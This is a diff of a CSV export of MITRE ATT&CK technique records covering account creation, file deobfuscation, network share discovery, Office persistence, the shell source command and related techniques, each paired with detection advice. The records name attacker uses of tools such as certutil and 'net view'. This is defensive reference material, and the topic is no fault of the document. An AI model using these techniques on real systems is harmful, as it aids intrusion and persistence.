Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",False,"['User', 'Administrator']",['Windows'],2.0,,,,['SYSTEM'],,, +attack-pattern,attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-08-12T13:04:14.534Z,Create Account,"Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. -One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) +Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136', 'external_id': 'T1136'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'Praetorian']","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. -Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1140', external_id='T1140'), ExternalReference(source_name='Malwarebytes Targeted Attack against Saudi Arabia', description='Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.', url='https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/'), ExternalReference(source_name='Carbon Black Obfuscation Sept 2016', description='Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', url='https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'), ExternalReference(source_name='Volexity PowerDuke November 2016', description='Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', url='https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/')]",attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-07-09 14:42:23.122000+00:00,Deobfuscate/Decode Files or Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Demaske, Adaptforward', 'Red Canary']","['Process: Process Creation', 'File: File Modification', 'Script: Script Execution']","['Anti-virus', 'Host intrusion prevention systems', 'Signature-based detection', 'Network intrusion detection system']",,,,"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). +Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",False,['Administrator'],"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",2.2,,,,,,, +attack-pattern,attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-13T18:10:57.185Z,Network Share Discovery,"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. -Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",,,,,False,,,['User'],"['Windows', 'Linux', 'macOS']",,,,1.1 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. +File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1135', 'external_id': 'T1135'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/643.html', 'external_id': 'CAPEC-643'}, {'source_name': 'Wikipedia Shared Resource', 'description': 'Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.', 'url': 'https://en.wikipedia.org/wiki/Shared_resource'}, {'source_name': 'TechNet Shared Folder', 'description': 'Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.', 'url': 'https://technet.microsoft.com/library/cc770880.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1135', external_id='T1135'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/643.html', external_id='CAPEC-643'), ExternalReference(source_name='Wikipedia Shared Resource', description='Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.', url='https://en.wikipedia.org/wiki/Shared_resource'), ExternalReference(source_name='TechNet Shared Folder', description='Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.', url='https://technet.microsoft.com/library/cc770880.aspx')]",attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-12-29 19:07:11.154000+00:00,Network Share Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['macOS', 'Windows', 'Linux']",3.1,,,,,,, +attack-pattern,attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-15T20:18:31.112Z,Office Application Startup,"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. -Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,['User'],"['macOS', 'Windows', 'Linux']",,,,3.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated and should no longer be used.** +A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137', 'external_id': 'T1137'}, {'source_name': 'SensePost Ruler GitHub', 'description': 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/ruler'}, {'source_name': 'TechNet O365 Outlook Rules', 'description': 'Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/'}, {'source_name': 'CrowdStrike Outlook Forms', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'}, {'source_name': 'Outlook Today Home Page', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant', 'Microsoft Threat Intelligence Center (MSTIC)', 'Sahar Shukrun', 'Praetorian', 'Loic Jaquemet', 'Ricardo Dias']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Application Log: Application Log Content']",,"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. -The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the ""."". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) +Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) -Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1153', external_id='T1153'), ExternalReference(source_name='Source Manual', description='ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.', url='https://ss64.com/bash/source.html')]",attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-30 13:40:14.512000+00:00,Source,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",,,,,False,,,['User'],"['Linux', 'macOS']",False,,,2.0 -2017-05-31 21:31:44.421000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. +Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",False,"['User', 'Administrator']","['Windows', 'Office 365']",1.3,,,,,,, +attack-pattern,attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:44.421Z,2021-08-19T16:57:27.209Z,External Remote Services,"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. -Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1133', external_id='T1133'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/555.html', external_id='CAPEC-555'), ExternalReference(source_name='Volexity Virtual Private Keylogging', description='Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', url='https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'), ExternalReference(source_name='Trend Micro Exposed Docker Server', description='Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', url='https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'), ExternalReference(source_name='Unit 42 Hildegard Malware', description='Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', url='https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/')]",attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-22 20:22:02.443000+00:00,External Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['ExtraHop', 'David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Rory McCune, Aqua Security', 'Yuval Avrahami, Palo Alto Networks', 'Jay Chen, Palo Alto Networks', 'Brad Geesaman, @bradgeesaman', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Daniel Oakley', 'Travis Smith, Tripwire']","['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']",,,,,"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1133', 'external_id': 'T1133'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'}, {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'}, {'source_name': 'Trend Micro Exposed Docker Server', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ExtraHop', 'David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Idan Frimark, Cisco', 'Rory McCune, Aqua Security', 'Yuval Avrahami, Palo Alto Networks', 'Jay Chen, Palo Alto Networks', 'Brad Geesaman, @bradgeesaman', 'Magno Logan, @magnologan, Trend Micro', 'Ariel Shuper, Cisco', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Daniel Oakley', 'Travis Smith, Tripwire']","['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']",,"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. -When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",,,,,False,,,['User'],"['Windows', 'Linux', 'Containers']",,,,2.2 -2017-05-31 21:31:43.540000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1132', external_id='T1132'), ExternalReference(source_name='Wikipedia Binary-to-text Encoding', description='Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Binary-to-text_encoding'), ExternalReference(source_name='Wikipedia Character Encoding', description='Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', url='https://en.wikipedia.org/wiki/Character_encoding'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-14 23:39:50.338000+00:00,Data Encoding,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Itzik Kotler, SafeBreach']",['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:31:40.542000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files) +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",False,['User'],"['Windows', 'Linux', 'Containers', 'macOS']",2.3,,,,,,, +attack-pattern,attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:43.540Z,2020-03-14T23:39:50.338Z,Data Encoding,"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132', 'external_id': 'T1132'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']",['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:40.542Z,2021-10-15T13:48:02.963Z,Shared Modules,"Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files) The module loader can load DLLs: @@ -3087,39 +3296,39 @@ The module loader can load DLLs: * via <file name=""filename.extension"" loadFrom=""fully-qualified or relative pathname""> in an embedded or external ""application manifest"". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT. -Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1129', external_id='T1129'), ExternalReference(source_name='Wikipedia Windows Library Files', description='Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.', url='https://en.wikipedia.org/wiki/Microsoft_Windows_library_files')]",attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 18:14:36.980000+00:00,Shared Modules,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],"['Process: OS API Execution', 'Module: Module Load']",,,,,"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. +Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1129', 'external_id': 'T1129'}, {'source_name': 'Wikipedia Windows Library Files', 'description': 'Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.', 'url': 'https://en.wikipedia.org/wiki/Microsoft_Windows_library_files'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['Process: OS API Execution', 'Module: Module Load']",,"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. -Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",,,,,False,,,['User'],['Windows'],,,,2.0 -2017-05-31 21:31:39.262000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1127', external_id='T1127'), ExternalReference(source_name='engima0x3 DNX Bypass', description='Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.', url='https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/'), ExternalReference(source_name='engima0x3 RCSI Bypass', description='Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.', url='https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/'), ExternalReference(source_name='Exploit Monday WinDbg', description='Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.', url='http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html'), ExternalReference(source_name='LOLBAS Tracker', description='LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/')]",attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-05 22:25:49.118000+00:00,Trusted Developer Utilities Proxy Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Casey Smith', 'Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']",['Application control'],,,,"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. +Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious 